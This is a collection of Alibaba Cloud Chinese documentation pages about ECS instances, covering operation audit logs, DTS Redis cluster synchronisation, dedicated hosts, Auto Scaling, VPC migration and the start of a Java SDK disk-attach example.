      本实例操作记录以ECS实例为入口,对实例及其关联资源的所有操作进行操作审计,并且对操作记录的影响等级进行标注,在众多操作记录中高亮出可能带来重大影响的操作,从而帮助您排查问题。

      说明 本实例操作记录仅展示近90天的操作记录,若需获取更长时间的日志,请参见创建跟踪

      操作步骤

      1. 登录ECS管理控制台
      2. 在左侧导航栏,单击实例与镜像 > 实例
      3. 在顶部状态栏左上角处,选择地域。
      4. 选中需要排查异常故障的实例,单击实例ID进入实例详情页
      5. 在左侧导航栏,单击本实例操作记录
      6. 在实例的操作记录页面,查看实例和实例关联资源的操作记录。

        默认会列出最近7天ECS实例及其相关资源所有的操作记录。

        您可以按变更范围变更影响等级等过滤条件进一步筛查出关心的操作记录,支持的过滤条件如下表所示。

        名称 描述
        变更范围 影响ECS的操作类型,主要包括两大类:
        • ECS实例的变更类型。
          • 实例配置变更
          • 实例状态变更
          • 实例属性变更
        • ECS关联资源的类型。
          • 关联安全组变更
          • 关联磁盘变更
          • 关联弹性网卡变更
        读写类型 操作的读写类型。
        • 读类型:例如DescribeInstances操作,查询ECS实例的详细信息。
        • 写类型:例如StopInstance操作,停止一台实例。
        • 所有类型:包括读类型写类型
        时间范围 查询的时间范围。支持查询90天内的变更记录,起止日期最大间隔为7天。
        变更影响等级 不同的操作对ECS实例的影响等级不一样。变更影响等级包括:
        • :例如StopInstance操作,停止一台实例。
        • :例如StartInstance操作,启动一台实例。
        • :例如DescribeInstances操作,查询ECS实例的详细信息。
        变更名称 各资源的变更操作名称,即API名称。您可以在API概览中搜索查看对应的功能说明。
        用户名 执行变更操作的用户。
        关联资源ID 变更操作对应的资源ID。

      ]]> 创建 Kubernetes 应用时,为什么提示没有可用的 ECS,无法创建应用?_Kubernetes 应用管理_使用常见问题_常见问题_企业级分布式应用服务 EDAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 创建 Kubernetes 应用时,为什么提示没有可用的 ECS,无法创建应用?

      更新时间:2019-01-24 17:36:18

      本页目录

      可能的原因

      ECS 健康检查状态异常或 ECS 被删除了。

      解决办法

      参考查看集群,在 ECS 列表中,检查 ECS 的健康检查状态。

      • 如果为初始化失败,需要定位、排查失败的原因,然后单击实例后面的重试
      • 如果为离线,说明 ECS 被超期释放或删除了,请在 Kubernets 集群中添加 ECS 实例

      ]]> 查看 ECS 监控数据_资源实例监控_实时监控_运维管理_金融分布式架构SOFAStack-阿里云 Fri, 02 May 2025 09:39:04 +0800 查看 ECS 监控数据

      更新时间:2019-09-10 17:52:43

      本页目录

      实例监控 > 云服务器 ECS 页面上,可以看到当前环境下云服务器 ECS 的状态。系统根据当前资源的监控指标,聚合展示监控项情况和水位图。

      前提条件

      • 您具备 空间管理员 权限或 资源监控 的配置权限。
      • 您已经在 控制台 > 资源管理 > 计算和网络 > 云服务器 ECS 中将云服务器 ECS 导入至当前环境,并已分配给应用。

      关于此任务

      您可以在 资源实例监控 > 云服务器 ECS 页面中看到以下标签页:

      • 概览
      • 资源列表
      • 自定义分组

      操作步骤

      1. 点击 概览 标签页,可以看到系统根据以下资源的监控指标聚合展示实时监控数据:

        • CPU 百分比
        • 内存使用率
        • 磁盘使用率
      2. 切换到 资源列表 标签页,可以看到该资源的所有资源实例详情:

        • 资源名称
        • IP 地址
        • 创建时间
        • 资源状态

          说明:在页面右上方的搜索框中,您可以输入资源名称并点击搜索按钮(search)进行快速搜索。

      3. 点击每个资源实例右侧的 监控图表,查看该资源实例下的监控项实时数据和趋势数据。

      4. 切换到 自定义分组 标签页,可以看到当前环境下所有的自定义资源分组以及各个组下的 ECS 资源实例。

      ]]> 从ECS上的Twemproxy Redis集群同步至Redis实例_Redis数据同步_数据同步_数据传输服务 DTS-阿里云 Fri, 02 May 2025 09:39:04 +0800 从ECS上的Twemproxy Redis集群同步至Redis实例

      更新时间:2020-05-12 10:09:29

      本页目录

      阿里云数据库Redis版是兼容开源Redis协议标准、提供内存加硬盘混合存储的数据库服务,基于高可靠双机热备架构及可平滑扩展的集群架构,可充分满足高吞吐、低延迟及弹性变配的业务需求。通过数据传输服务DTS(Data Transmission Service),您可以将Twemproxy Redis同步至阿里云Redis实例。

      前提条件

      • 阿里云Redis实例的存储空间需大于源Twemproxy Redis数据库已使用的存储空间。
      • 源Twemproxy Redis集群中的每个Master节点必须能够执行psync命令。

      同步原理介绍

      DTS通过同步Twemproxy Redis集群中的每个Redis-Server来实现集群的整体同步,您需要为每个Redis-Server创建一个对应的数据同步作业。

      twemproxy同步原理

      Twemproxy Redis集群环境介绍

      在本案例中,Twemproxy Redis集群具备两个Redis-Server,每个Redis-Server采用一主一从的架构,详情请参见下图。

      twemproxy环境介绍

      注意事项

      • DTS在执行全量数据初始化时将占用源库和目标库一定的资源,可能会导致数据库服务器负载上升。如果数据库业务量较大或服务器规格较低,可能会加重数据库压力,甚至导致数据库服务不可用。建议您在执行数据同步前谨慎评估,在业务低峰期执行数据同步。
      • 为保障同步链路稳定性,建议将源集群的配置文件redis.confrepl-backlog-size参数的值适当调大。
      • 为保障同步质量,DTS会在源集群中插入一个key:DTS_REDIS_TIMESTAMP_HEARTBEAT,用于记录更新时间点。
      • 请勿在源集群中执行FLUSHDBFLUSHALL命令,否则将导致源和目标的数据不一致。
      • 如果目标库的数据逐出策略(maxmemory-policy)配置为noeviction以外的值,可能导致目标库的数据与源库不一致。关于数据逐出策略详情,请参见Redis数据逐出策略介绍
      • 目标阿里云Redis实例支持的版本为2.8、4.0或5.0版本,如需跨版本同步(仅支持从低版本同步到高版本)请提前确认兼容性。例如创建按量付费的Redis实例来测试,测试完成后可将该实例释放或转为包年包月。

      支持的同步拓扑

      • 一对一单向同步
      • 一对多单向同步
      • 级联单向同步

      关于各类同步拓扑的介绍及注意事项,请参见数据同步拓扑介绍

      支持的同步命令

      • APPEND
      • BITOP、BLPOP、BRPOP、BRPOPLPUSH
      • DECR、DECRBY、DEL
      • EVAL、EVALSHA、EXEC、EXPIRE、EXPIREAT
      • GEOADD、GETSET
      • HDEL、HINCRBY、HINCRBYFLOAT、HMSET、HSET、HSETNX
      • INCR、INCRBY、INCRBYFLOAT
      • LINSERT、LPOP、LPUSH、LPUSHX、LREM、LSET、LTRIM
      • MOVE、MSET、MSETNX、MULTI
      • PERSIST、PEXPIRE、PEXPIREAT、PFADD、PFMERGE、PSETEX、PUBLISH
      • RENAME、RENAMENX、RESTORE、RPOP、RPOPLPUSH、RPUSH、RPUSHX
      • SADD、SDIFFSTORE、SELECT、SET、SETBIT、SETEX、SETNX、SETRANGE、SINTERSTORE、SMOVE、SPOP、SREM、SUNIONSTORE
      • ZADD、ZINCRBY、ZINTERSTORE、ZREM、ZREMRANGEBYLEX、ZUNIONSTORE、ZREMRANGEBYRANK、ZREMRANGEBYSCORE

      说明

      • 对于通过EVAL或者EVALSHA调用Lua脚本,在增量数据同步时,由于目标端在执行脚本时不会明确返回执行结果,DTS无法确保该类型脚本能够执行成功。
      • 对于List,由于DTS在调用sync或psync进行重传时,不会对目标端已有的数据进行清空,可能导致出现重复数据。

      操作步骤

      1. 购买数据同步作业,详情请参见购买流程

        说明 购买时选择源实例为Redis、目标实例为Redis,并选择同步拓扑为单向同步

      2. 登录数据传输控制台
      3. 在左侧导航栏,单击数据同步
      4. 同步作业列表页面顶部,选择同步的目标实例所属地域。

        选择地域

      5. 定位至已购买的数据同步实例,单击配置同步链路
      6. 配置数据同步的源实例及目标实例信息。

        配置同步的源和目标实例信息
        类别 配置 说明
        同步作业名称 DTS会自动生成一个同步作业名称,建议配置具有业务意义的名称(无唯一性要求),便于后续识别。
        源实例信息 实例类型 选择ECS上的自建数据库
        实例地区 购买数据同步实例时选择的源实例地域,不可变更。
        ECS实例ID 选择源集群Redis-Server中Master节点所属的ECS实例ID。

        说明 DTS通过同步Twemproxy Redis集群中的每个Redis-Server来实现整体的数据同步,此处先填入第一个Redis-Server中Master节点所属的ECS实例ID;稍后配置第二个数据同步作业时,此处填入第二个Redis-Server中Master节点所属的ECS实例ID;以此类推,直至为所有Redis-Server配置同步作业。

        数据库类型 固定为Redis
        实例模式 选择为单机版

        说明 由于Twemproxy Redis集群架构的特殊性,无法直接同步Twemproxy Redis集群,DTS需要通过同步Twemproxy Redis集群中的每个Redis-Server来实现整体的数据同步,所以此处需选择为单机版

        端口 填入该Redis-Server中Master节点的服务端口。
        数据库密码 填该Master节点的数据库密码。

        说明 非必填项,如果没有设置密码可以不填。

        目标实例信息 实例类型 选择Redis实例
        实例地区 购买数据同步实例时选择的目标实例地域,不可变更。
        实例ID 选择目标阿里云Redis实例ID。
        数据库密码 填入Redis实例的数据库密码。

        说明 数据库密码格式为<user>:<password>。例如,Redis实例自定义的用户名为admin,密码为Rp829dlwa,则此处填入的数据库密码为admin:Rp829dlwa。

      7. 单击页面右下角的授权白名单并进入下一步

        说明 此步骤会将DTS服务器的IP地址,自动添加到源ECS实例的内网入方向规则和阿里云Redis实例的白名单中,用于保障DTS服务器能够正常连接源和目标实例。

      8. 配置目标已存在表的处理模式和同步对象。

        配置同步信息
        配置 说明
        目标已存在表的处理模式 DTS通过同步Twemproxy Redis集群中的每个Redis-Server来实现整体的数据同步。为第1个Redis-Server配置数据同步时,如果Redis实例暂无数据,请选择预检查并报错拦截。为第2到N个Redis-Server配置数据同步时,必须选择为忽略报错并继续执行,否则将无法正常同步数据。

        说明

        • 预检查并报错拦截:检查目标库是否为空。如果待同步的目标库为空,则通过该检查项目;如果不为空,则在预检查阶段提示错误,数据同步作业不会被启动。
        • 忽略报错并继续执行:忽略预检查阶段中检测到目标库不为空的报错,继续执行数据同步。如果在同步过程中如果遇到目标库中的key与源库中的key相同,会将源库的数据覆盖写入目标库中。

        同步对象
        • 源库对象框中单击待同步的数据库,然后单击图标将其移动到已选择对象框。
        • 同步对象的选择粒度为库,暂不支持Key粒度的选择。

      9. 上述配置完成后,单击页面右下角的下一步
      10. 配置同步初始化的选项。

        Redis同步初始化

        说明 当前固定为包含全量数据+增量数据,即DTS会将源Twemproxy Redis集群中的存量数据同步至目标Redis数据库中,并同步增量数据。

      11. 上述配置完成后,单击页面右下角的预检查并启动

        说明

        • 在数据同步作业正式启动之前,会先进行预检查。只有预检查通过后,才能成功启动数据同步作业。
        • 如果预检查失败,单击具体检查项后的提示图标,查看失败详情。根据提示修复后,重新进行预检查。

      12. 预检查对话框中显示预检查通过后,关闭预检查对话框,同步作业将正式开始。
      13. 等待同步作业的链路初始化完成,直至处于同步中状态。

        同步中

        说明 您可以在 数据同步页面,查看数据同步作业的状态。

      14. 重复第1步到第13步的操作,为剩余的Redis-Server创建数据同步作业。

      执行结果

      本案例的Twemproxy Redis集群具备两个Redis-Server,所以创建两个数据同步作业。如下图所示,这两个数据同步作业完成同步初始化后,已经都处于同步中状态。

      源集群同步中

      本案例同步的数据库为DB0,通过DMS登录Redis集群后与源Twemproxy Redis集群进行对比,Key总数源Twemproxy Redis集群一致。

      图 1. 阿里云Redis实例
      阿里云Redis实例的key数量
      图 2. 源Twemproxy Redis集群
      源twemproxy redis的key数量

      ]]> 从ECS上的Codis集群同步至Redis实例_Redis数据同步_数据同步_数据传输服务 DTS-阿里云 Fri, 02 May 2025 09:39:04 +0800 从ECS上的Codis集群同步至Redis实例

      更新时间:2020-05-12 10:57:07

      本页目录

      阿里云数据库Redis版是兼容开源Redis协议标准、提供内存加硬盘混合存储的数据库服务,基于高可靠双机热备架构及可平滑扩展的集群架构,可充分满足高吞吐、低延迟及弹性变配的业务需求。通过数据传输服务DTS(Data Transmission Service),您可以将Codis集群同步至阿里云Redis实例。

      前提条件

      • 阿里云Redis实例的存储空间需大于源Codis数据库已使用的存储空间。
      • 源Codis集群的每个Master节点必须能够执行psync命令。

      同步原理介绍

      DTS通过同步Codis集群中的每个Codis-Group来实现集群的整体同步,您需要为每个Codis-Group创建一个对应的数据同步作业。

      Codis同步原理

      Codis集群环境介绍

      在本案例中,Codis集群具备两个Codis-Group,每个Codis-Group采用一主一备的架构,详情请参见下图。

      Codis案例介绍

      注意事项

      • DTS在执行全量数据初始化时将占用源库和目标库一定的资源,可能会导致数据库服务器负载上升。如果数据库业务量较大或服务器规格较低,可能会加重数据库压力,甚至导致数据库服务不可用。建议您在执行数据同步前谨慎评估,在业务低峰期执行数据同步。
      • 为保障同步链路稳定性,建议将源集群的配置文件redis.confrepl-backlog-size参数的值适当调大。
      • 为保障同步质量,DTS会在源集群中插入一个key:DTS_REDIS_TIMESTAMP_HEARTBEAT,用于记录更新时间点。
      • 请勿在源集群中执行FLUSHDBFLUSHALL命令,否则将导致源和目标的数据不一致。
      • 如果目标库的数据逐出策略(maxmemory-policy)配置为noeviction以外的值,可能导致目标库的数据与源库不一致。关于数据逐出策略详情,请参见Redis数据逐出策略介绍
      • 目标阿里云Redis实例支持的版本为2.8、4.0或5.0版本,如需跨版本同步(仅支持从低版本同步到高版本)请提前确认兼容性。例如创建按量付费的Redis实例来测试,测试完成后可将该实例释放或转为包年包月。

      支持的同步拓扑

      • 一对一单向同步
      • 一对多单向同步
      • 级联单向同步

      关于各类同步拓扑的介绍及注意事项,请参见数据同步拓扑介绍

      支持的同步命令

      • APPEND
      • BITOP、BLPOP、BRPOP、BRPOPLPUSH
      • DECR、DECRBY、DEL
      • EVAL、EVALSHA、EXEC、EXPIRE、EXPIREAT
      • GEOADD、GETSET
      • HDEL、HINCRBY、HINCRBYFLOAT、HMSET、HSET、HSETNX
      • INCR、INCRBY、INCRBYFLOAT
      • LINSERT、LPOP、LPUSH、LPUSHX、LREM、LSET、LTRIM
      • MOVE、MSET、MSETNX、MULTI
      • PERSIST、PEXPIRE、PEXPIREAT、PFADD、PFMERGE、PSETEX、PUBLISH
      • RENAME、RENAMENX、RESTORE、RPOP、RPOPLPUSH、RPUSH、RPUSHX
      • SADD、SDIFFSTORE、SELECT、SET、SETBIT、SETEX、SETNX、SETRANGE、SINTERSTORE、SMOVE、SPOP、SREM、SUNIONSTORE
      • ZADD、ZINCRBY、ZINTERSTORE、ZREM、ZREMRANGEBYLEX、ZUNIONSTORE、ZREMRANGEBYRANK、ZREMRANGEBYSCORE

      说明

      • 对于通过EVAL或者EVALSHA调用Lua脚本,在增量数据同步时,由于目标端在执行脚本时不会明确返回执行结果,DTS无法确保该类型脚本能够执行成功。
      • 对于List,由于DTS在调用sync或psync进行重传时,不会对目标端已有的数据进行清空,可能导致出现重复数据。

      操作步骤

      1. 购买数据同步作业,详情请参见购买流程

        说明 购买时选择源实例为Redis、目标实例为Redis,并选择同步拓扑为单向同步

      2. 登录数据传输控制台
      3. 在左侧导航栏,单击数据同步
      4. 同步作业列表页面顶部,选择同步的目标实例所属地域。

        选择地域

      5. 定位至已购买的数据同步实例,单击配置同步链路
      6. 配置数据同步的源实例及目标实例信息。

        配置源和目标实例信息
        类别 配置 说明
        同步作业名称 DTS会自动生成一个同步作业名称,建议配置具有业务意义的名称(无唯一性要求),便于后续识别。
        源实例信息 实例类型 选择ECS上的自建数据库
        实例地区 购买数据同步实例时选择的源实例地域,不可变更。
        ECS实例ID 选择Codis-Group中Master节点所属的ECS实例ID。

        说明 DTS通过同步Codis集群中的每个Codis-Group来实现整体的数据同步,此处先填入第一个Codis-Group中Master节点所属的ECS实例ID;稍后配置第二个数据同步作业时,此处填入第二个Codis-Group中Master节点所属的ECS实例ID;以此类推,直至为所有Codis-Group配置同步作业。

        数据库类型 固定为Redis
        实例模式 选择为单机版

        说明 由于Codis集群架构的特殊性,无法直接同步Codis集群,DTS通过同步Codis集群中的每个Codis-Group来实现整体的数据同步,所以此处需选择为单机版

        端口 填入该Codis-Group中Master节点的服务端口。
        数据库密码 填该Master节点的数据库密码。

        说明 非必填项,如果没有设置密码可以不填。

        目标实例信息 实例类型 选择Redis实例
        实例地区 购买数据同步实例时选择的目标实例地域,不可变更。
        实例ID 选择目标阿里云Redis实例ID。
        数据库密码 填入Redis实例的数据库密码。

        说明 数据库密码格式为<user>:<password>。例如,Redis实例自定义的用户名为admin,密码为Rp829dlwa,则此处填入的数据库密码为admin:Rp829dlwa。

      7. 单击页面右下角的授权白名单并进入下一步

        说明 此步骤会将DTS服务器的IP地址,自动添加到源ECS实例的内网入方向规则和阿里云Redis实例的白名单中,用于保障DTS服务器能够正常连接源和目标实例。

      8. 配置目标已存在表的处理模式和同步对象。

        配置 说明
        目标已存在表的处理模式 DTS通过依次同步Codis集群中的每个Codis-Group来实现整体的数据同步。为第1个Codis-Group配置数据同步时,如果Redis实例暂无数据,请选择预检查并报错拦截。为第2到N个Codis-Group配置数据同步时,必须选择为忽略报错并继续执行,否则将无法正常同步数据。

        说明

        • 预检查并报错拦截:检查目标库是否为空。如果待同步的目标库为空,则通过该检查项目;如果不为空,则在预检查阶段提示错误,数据同步作业不会被启动。
        • 忽略报错并继续执行:忽略预检查阶段中检测到目标库不为空的报错,继续执行数据同步。如果在同步过程中遇到目标库中的key与源库中的key相同,会将源库的数据覆盖写入目标库中。

        同步对象
        • 源库对象框中单击待同步的数据库,然后单击图标将其移动到已选择对象框。
        • 同步对象的选择粒度为库,暂不支持Key粒度的选择。

      9. 上述配置完成后,单击页面右下角的下一步
      10. 配置同步初始化的选项。

        Redis同步初始化

        说明 当前固定为包含全量数据+增量数据,即DTS会将源Codis中的存量数据同步至目标Redis数据库中,并同步增量数据。

      11. 上述配置完成后,单击页面右下角的预检查并启动

        说明

        • 在数据同步作业正式启动之前,会先进行预检查。只有预检查通过后,才能成功启动数据同步作业。
        • 如果预检查失败,单击具体检查项后的提示图标,查看失败详情。根据提示修复后,重新进行预检查。

      12. 预检查对话框中显示预检查通过后,关闭预检查对话框,同步作业将正式开始。
      13. 等待同步作业的链路初始化完成,直至处于同步中状态。

        同步中状态

        说明 您可以在 数据同步页面,查看数据同步作业的状态。

      14. 重复第1步到第13步的操作,为剩余的Codis-Group创建数据同步作业。

      执行结果

      本案例的Codis集群具备两个Codis-Group,所以创建两个数据同步作业。如下图所示,这两个数据同步作业完成同步初始化后,已经都处于同步中状态。

      完成Codis集群同步配置

      本案例同步的数据库为DB0和DB1,通过DMS登录Redis实例后与源Codis集群进行对比,Key总数源Codis集群一致。

      图 1. 阿里云Redis实例
      图 2. 源Codis集群

      ]]> DDH上的ECS实例FAQ_DDH上的ECS实例FAQ_常见问题_专有宿主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 DDH上的ECS实例FAQ

      更新时间:2019-10-30 18:09:51

      编辑 · 

      新浪微博 微信 钉钉

      本页目录

      本文介绍与DDH上的ECS实例相关的问题及解决方案。

      在DDH和共享宿主机上创建的ECS实例有什么区别?

      DDH上的ECS实例和共享宿主机上的ECS实例存在以下区别:

      • 功能方面:DDH不支持创建经典网络ECS实例。其他功能差异,请参见ECS实例功能对比
      • 性能方面:基本一致。但是DDH是单租户环境,DDH所在物理服务器由您独享。

      在DDH上创建ECS实例有什么限制吗?

      DDH上不能创建经典网络类型的ECS实例。DDH的计费方式会限制您能创建的ECS实例规格,详情请参见使用限制

      能在同一台DDH上创建不同规格的ECS实例吗?

      能。只要DDH资源容量允许,您能在一台DDH上创建与DDH规格匹配的任何ECS实例。比如,在一台计算网络增强型规格的DDH上,您能创建所有sn1ne规格的ECS实例,但是不能创建其他规格族ECS实例。DDH规格详情,请参见宿主机规格

      能指定一台DDH创建ECS实例吗?

      能。您能通过ECS管理控制台在指定的DDH上创建ECS实例。更多详情,请参见在DDH上创建ECS实例

      能在不同的DDH之间迁移ECS实例吗?

      能。您能在同一账号下相同主机规格的DDH之间迁移ECS实例,但是不包括本地SSD型DDH。具体操作,请参见在不同DDH之间迁移ECS实例

      DDH上的ECS实例是否支持升降配功能?

      支持。当DDH上的ECS实例配置不再适用于您的业务需求时,您可以通过升级或降级实例规格、修改公网带宽的方式进行调整。更多详情,请参见升降配包年包月ECS实例

      ]]> ECS实例生命周期的管理_ECS实例_实例管理_弹性伸缩-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS实例生命周期的管理

      更新时间:2018-11-15 16:50:43

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文主要介绍ECS实例生命周期管理。

      加入伸缩组的 ECS 实例有两种类型:自动创建的 ECS 实例、手工添加的 ECS 实例。

      自动创建的 ECS 实例

      自动创建的 ECS 实例是指根据用户的伸缩配置和伸缩规则,由弹性伸缩服务自动创建的 ECS 实例。

      弹性伸缩服务负责该类型 ECS 实例的全生命周期管理,即在伸缩组扩展活动中,负责该 ECS 实例的创建,在伸缩组的收缩活动中,负责停止和释放该 ECS 实例。

      手工添加的 ECS 实例

      手工添加的 ECS 实例是指不是由弹性伸缩服务创建,但由用户手工添加到伸缩组中的 ECS 实例。

      弹性伸缩服务不负责该类型 ECS 实例的全生命周期管理,即该类型的 ECS 实例是在弹性伸缩服务之外创建,只能手工加入伸缩组,在伸缩组的收缩活动中或用户手工移出该类型 ECS 实例时,弹性伸缩服务只负责将该 ECS 实例移出伸缩组,不会停止和释放该 ECS 实例。

      实例状态

      ECS 实例在伸缩组中的生命周期,通过以下几种状态描述:

      • Pending – 表示 ECS 实例正在加入伸缩组,包括创建实例、加入负载均衡、添加 RDS 访问名单等过程。
      • InService – 表示 ECS 实例已成功加入伸缩组,并正常提供服务。
      • Removing – 表示 ECS 实例正在移出伸缩组。

      实例的健康状态

      ECS 实例在伸缩组中的健康状态为:

      • Healthy(健康)
      • Unhealthy(不健康)

      本期仅通过 ECS 实例为非 运行中Running) 状态来判断该实例不健康。弹性伸缩会自动移出伸缩组中不健康的 ECS 实例。

      • 对于自动创建的 ECS 实例,弹性伸缩会停止和释放该 ECS 实例。
      • 对于手工添加的 ECS 实例,弹性伸缩不会停止和释放该 ECS 实例。

      ]]> ECS实例功能对比_产品简介_专有宿主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS实例功能对比

      更新时间:2020-04-28 11:27:44

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      运行在专有宿主机DDH上的ECS实例与运行在共享宿主机上的ECS实例基本相同,仅部分功能存在差异。

      存在差异的功能如下表所示。
      对比项 共享宿主机上的ECS实例 DDH上的ECS实例
      网络类型 专有网络VPC和经典网络,详情请参见云服务器ECS网络类型 专有网络VPC。
      计费项 详情请参见计费概述 详情请参见DDH上的ECS资源计费
      计费方式

      支持包年包月、按量付费、抢占式实例、预留实例券、存储容量单位包。

      包年包月、存储容量单位包。

      续费 根据需要设置续费时长。 实例续费后的到期时间不得晚于包年包月DDH的到期时间,详情请参见使用限制
      停机不收费 详情请参见按量付费实例停机不收费 进入停机不收费模式后,实例停机会释放DDH资源(包括vCPU和内存),启动时再重新分配DDH资源。停机不收费模式下的资源计费详情,请参见DDH上已停止实例的ECS资源计费
      包年包月实例统一到期日 详情请参见设置统一到期日,日期设置仅需符合限制条件。 到期日不得晚于包年包月DDH的到期时间。
      按量付费转包年包月

      详情请参见按量付费转包年包月,仅需符合功能限制条件。

      支持,除了功能限制条件外,只适用于包年包月DDH,而且转换后ECS实例的过期时间不能晚于DDH的过期时间。
      ECS实例规格 详情请参见实例规格族 DDH主机规格支持的预定义实例规格或自定义实例规格,详情请参见宿主机规格
      创建ECS实例 详情请参见使用向导创建实例 详情请参见在DDH上创建ECS实例
      变更实例规格 详情请参见升级或降低实例规格 详情请参见升降配包年包月ECS实例
      调整公网带宽 详情请参见修改公网带宽 详情请参见修改公网带宽
      创建后分配公网IP地址 详情请参见创建后分配公网IP地址 详情请参见创建后分配公网IP地址
      变更公网带宽计费方式 详情请参见变更公网带宽计费方式 详情请参见变更公网带宽计费方式
      释放实例
      • 按量付费实例支持手动释放或自动释放。更多详情,请参见释放实例
      • 包年包月实例到期或者按量付费实例欠费停机后未及时处理,实例会被自动释放。
      包年包月DDH到期后未及时处理,实例会被自动释放。

      ]]> ECS实例迁移_经典网络迁移到VPC_最佳实践_专有网络 VPC-阿里云 Fri, 02 May 2025 09:39:04 +0800 ECS实例迁移

      更新时间:2019-10-14 11:14:18

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      您可以将一个或多个ECS实例从经典网络迁移至专有网络。

      使用限制

      在使用单ECS迁移方案时, 请注意如下事项:

      • 迁移过程中ECS需要进行重启,请关注对系统的影响。
      • 迁移后,不需要进行任何特殊配置,ECS实例的公网IP都不变。
        • 虽然公网IP没有变化,但无法在ECS的操作系统中查看到这个公网IP(称之为VPC类型的ECS的固定公网IP)。您可以将按流量计费的ECS实例的固定公网IP转换为EIP,方便管理,详情参见ECS固定公网IP转换为EIP
        • 如果您的个别应用对ECS操作系统上可见的公网IP有依赖,迁移后会有影响,请谨慎评估。
      • 迁移的目标VPC的交换机的可用区必须和待迁移的ECS的可用区相同。
      • 迁移过程中实例ID及登录信息不变。
      • 包年包月购买方式的实例迁移过程中不需要额外付费。从新的计费周期开始,按照同规格专有网络的价格计算。
      • 迁移前如有续费变配未生效订单或未支付订单,迁移后该订单将被取消且不能恢复,需要重新下单。

      步骤1 预约迁移

      1. 登录ECS管理控制台
      2. 找到目标实例,然后单击更多 > 网络和安全组 > 预约迁移至专有网络
      3. 在弹出的对话框中,单击确定
      4. 单击查看计划事件,或在概览页面的右上方的常用操作区域,单击待处理事件

      5. 待处理事件页面,单击专有网络迁移页签。
      6. 选择需要迁移的实例,然后单击预约迁移
      7. 在弹出的对话框中,选择要迁移到的专有网络、交换机、迁移时间等配置,然后单击确定

      步骤2 正式迁移

      完成预约后,阿里云将在预约时间点开始迁移。迁移一般需要5分钟左右。

      步骤3 查看迁移结果

      您可以通过多种方式查看迁移结果:

      • 在事件中查看事件状态。如果事件状态为执行完成表明已经成功迁移。
      • 查看是否收到迁移成功的短信提醒。
      • 登录到ECS管理控制台,在实例详情页面,查看实例的网络类型是否为专有网络

      ]]> 移出不健康ECS实例_ECS实例_实例管理_弹性伸缩-阿里云 Fri, 02 May 2025 09:39:04 +0800 移出不健康ECS实例

      更新时间:2018-11-15 16:54:20

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      本文主要介绍移出不健康实例的操作。

      当 ECS 实例成功加入伸缩组后,弹性伸缩服务会定期扫描该 ECS 实例的运行状态,如果发现该 ECS 实例为非 运行中Running)状态,则会将该 ECS 实例移出伸缩组。

      • 对于弹性服务自动创建的 ECS 实例:将立即启动移出和释放该 ECS 实例操作。
      • 对于用户手工添加的 ECS 实例:将立即启动移出该 ECS 实例操作,但不会停止和释放该 ECS 实例。

      移出不健康 ECS 实例,不受 MinSize 的限制,即移出不健康 ECS 实例后,有可能导致 Total Capacity 低于 MinSize,此时弹性伸缩服务会自动创建差额的 ECS 实例使得 Total Capacity 等于 MinSize。

      ]]> 手动添加ECS实例_ECS实例_实例管理_弹性伸缩-阿里云 Fri, 02 May 2025 09:39:04 +0800 手动添加ECS实例

      更新时间:2019-11-01 17:44:11

      编辑 我的收藏

      新浪微博 微信 钉钉

      本页目录

      您可以将已有的ECS实例手动添加至伸缩组,充分利用已有的计算资源。

      前提条件

      手动添加ECS实例前,请确保待添加的ECS实例满足以下条件:

      • 实例必须与伸缩组处于同一个地域。
      • 实例不能已加入到其它伸缩组中。
      • 实例的状态必须是运行中
      • 实例的网络类型可以为经典网络或专有网络,但有以下限制:
        • 当伸缩组的网络类型为经典网络时,只能添加网络类型为经典网络的ECS实例。
        • 当伸缩组的网络类型为专有网络时,只能添加同一专有网络下的ECS实例。

      同时,请确保伸缩组满足以下条件:

      • 伸缩组的状态必须是启用
      • 伸缩组内不能存在执行中的伸缩活动。

      背景信息

      手动添加ECS实例的配置与当前伸缩配置没有关联,并且手动添加ECS实例时可以绕过冷却时间。冷却时间的详情,请参见冷却时间

      弹性伸缩服务尽力保证足额弹出待添加的ECS实例,但是,如果出现云服务器库存不足、待添加的ECS实例数超过伸缩组上限等问题,ECS实例会无法足额弹出。这种情况下,请您检查伸缩组相关配置定位问题。如果无法解决问题,请提交工单

      操作步骤

      1. 登录弹性伸缩控制台
      2. 在左侧导航栏中,单击伸缩组管理
      3. 在顶部状态栏处,选择地域。
      4. 找到待操作的伸缩组,选择一种方式打开伸缩组详情页面。
        • 伸缩组名称/ID列中,单击伸缩组名称。
        • 操作列中,单击管理
      5. 在左侧导航栏中,单击ECS实例列表
      6. 单击添加已有实例
      7. 从左侧列表中选择可用的ECS实例,单击>,然后单击确定

      ]]> 为ECS实例挂载已购买的按量付费的数据盘_云服务器ECS_调用示例_Java SDK-阿里云 Fri, 02 May 2025 09:39:04 +0800 为ECS实例挂载已购买的按量付费的数据盘

      更新时间:2019-11-12 16:31:41

      本页目录

      本教程详细介绍如何使用Alibaba Cloud SDK for Java为一台ECS实例挂载已购买的按量付费的数据盘。

      前提条件

      在使用本教程之前,请确保已完成以下操作:

      • 使用ECS管理控制台或通过API获取您需要的ECS实例ID,API接口请参见DescribeInstances
      • 使用Alibaba Cloud SDK for Java,您需要一个阿里云账号和访问密钥(AccessKey)。 请在阿里云控制台中的AccessKey管理页面上创建和查看您的AccessKey。
      • 确保您已经安装了Alibaba Cloud SDK for Java,准确的SDK版本号,请参见 阿里云开发工具包(SDK)
        <dependencies>
            <!-- https://mvnrepository.com/artifact/com.aliyun/aliyun-java-sdk-core -->
            <dependency>
                <groupId>com.aliyun</groupId>
                <artifactId>aliyun-java-sdk-core</artifactId>
                <version>4.4.3</version>
            </dependency>
            <!-- https://mvnrepository.com/artifact/com.aliyun/aliyun-java-sdk-ecs-->
            <dependency>
                <groupId>com.aliyun</groupId>
                <artifactId>aliyun-java-sdk-ecs</artifactId>
                <version>4.17.4</version>
            </dependency>
        </dependencies>

      代码示例

      说明 待挂载的ECS实例的状态必须为运行中(Running)或者已停止(Stopped)。

      import com.aliyuncs.DefaultAcsClient;
      import com.aliyuncs.IAcsClient;
      import com.aliyuncs.ecs.model.v20140526.AttachDiskRequest;
